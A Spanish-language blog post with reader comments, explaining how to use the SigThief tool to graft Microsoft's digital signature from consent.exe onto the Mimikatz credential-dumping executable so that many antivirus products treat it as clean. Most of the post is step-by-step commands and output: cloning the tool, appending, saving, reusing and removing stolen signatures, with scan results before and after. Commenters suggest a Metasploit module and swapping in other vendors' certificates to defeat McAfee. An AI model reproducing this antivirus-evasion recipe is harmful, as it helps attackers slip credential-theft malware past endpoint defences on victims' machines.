Echando una firma digital a Mimikatz (o a cualquier ejecutable) para bypassear antivirus

Desde las Altas Tierras nos llegaba un telegrama curioso con un tweet de subTee en el que decía estampar la firma digital de Microsoft en el ejecutable de Mimikatz. ¿Y para qué? Pues aunque parezca mentira me pongo colorada todavía hoy en día muchos antivirus se pasan por el forro de la indetección aquellos ejecutables (PE) que estén firmados digitalmente por, digamos, autoridades de certificación de renombre como M$ (tito Gates approved), y lo más importante, independientemente si la firma es válida o no, es decir, sólo comprueban que la certTable tiene algún valor.

La herramienta que "traslada" la firma digital de un ejecutable a otro es SigThief de Josh Pitts aka secretsquirrel:
$ git clone https://github.com/secretsquirrel/SigThief.git

Su sintaxis es muy sencilla:
Usage: sigthief.py [options]

Options:
  -h, --help            show this help message and exit
  -i FILE, --file=FILE  file still signature from
  -r, --rip             rip signature off inputfile
  -a, --add             add signautre to targetfile
  -o OUTPUTFILE, --output=OUTPUTFILE
                        output file
  -s SIGFILE, --sig=SIGFILE
                        binary signature from disk
  -t TARGETFILE, --target=TARGETFILE
                        file to append signature too
  -c, --checksig        file to check if signed; does not verify signature
  -T, --truncate        truncate signature (i.e. remove sig)

Para ver un poco su uso, copiaremos la firma del ejecutable de Güindous 'consent.exe' al ejecutable 'mimikatz.exe'.

Primero echamos un vistazo al binario original:


Luego usamos SigThief para copiar su firma al ejecutable de Mimikatz:
$ cd SigThief
$ python sigthief.py -i ./pruebas/consent.exe -t ./pruebas/mimikatz.exe -o /tmp/mimikatz_firmado.exe 
Output file: /tmp/mimikatz_firmado.exe 
Signature appended. 
FIN.

Y comprobamos:

Después y lo más importante, si pasáis el ejecutable "malicioso" por un multiantivirus antes y después de la firma os quedaréis boquiabiertos con el resultado:

Ejecutable original: https://nodistribute.com/result/rZxMKwIuE4hRPyUjSq6


Ejecutable con la firma de Microsoft: https://nodistribute.com/result/5DCGFxqwMtdjezKyP73I


Como habéis podido comprobar, grandes antivirus como Comodo, BitDefender, McAfee, Norton, Panda, etc. consideran el ejecutable limpio sólo por llevar la firma... ¡increíble!

Por último otras cosillas que también podemos hacer con la herramienta:

Podemos salvar la firma para usarla más tarde con otros ejecutables:
$ python sigthief.py -i ./pruebas/consent.exe -r
Ripping signature to file!
Output file: ./pruebas/consent.exe_sig
Signature ripped. 
FIN.
$ python sigthief.py -s ./pruebas/consent.exe_sig -t ./pruebas/mimikatz.exe
Output file: ./pruebas/mimikatz.exe_signed
Signature appended. 
FIN.

Comprobar si el ejecutable tiene ya una firma:
$ python sigthief.py -i ./pruebas/mimikatz.exe_signed -c

Inputfile is signed!

E incluso borrarla (muy interesante para ver si el AV utiliza la firma);
$ ./sigthief.py -i ./pruebas/mimikatz.exe_signed -T    
Inputfile is signed!
Output file: ./pruebas/mimikatz.exe_signed_nosig
Overwriting certificate table pointer and truncating binary
Signature removed. 
FIN.

Proyecto: https://github.com/secretsquirrel/SigThief

5 comentarios :

  1. ¡En poco más de 250 líneas de código! Estaría bien portarlo a Ruby para hacer un módulo de firma para metasploit.

    ResponderEliminar
  2. Lo acabo de probar con mcafee y lo detecta :-(

    ResponderEliminar
    Respuestas
    1. Si?? Mimikatz?? Imagino que será entonces por Artemis o la heurística... ¿Lo subiste también a un multiav?

      Eliminar
    2. Si es Artemis va a través de un sucio checksum (A mi entender, puede que me equivoque), así que con cambiar de certificado por uno de NVidia, Oracle o similares ya debería colar. ¿No?
      Diferente firma = Diferente checksum

      Eliminar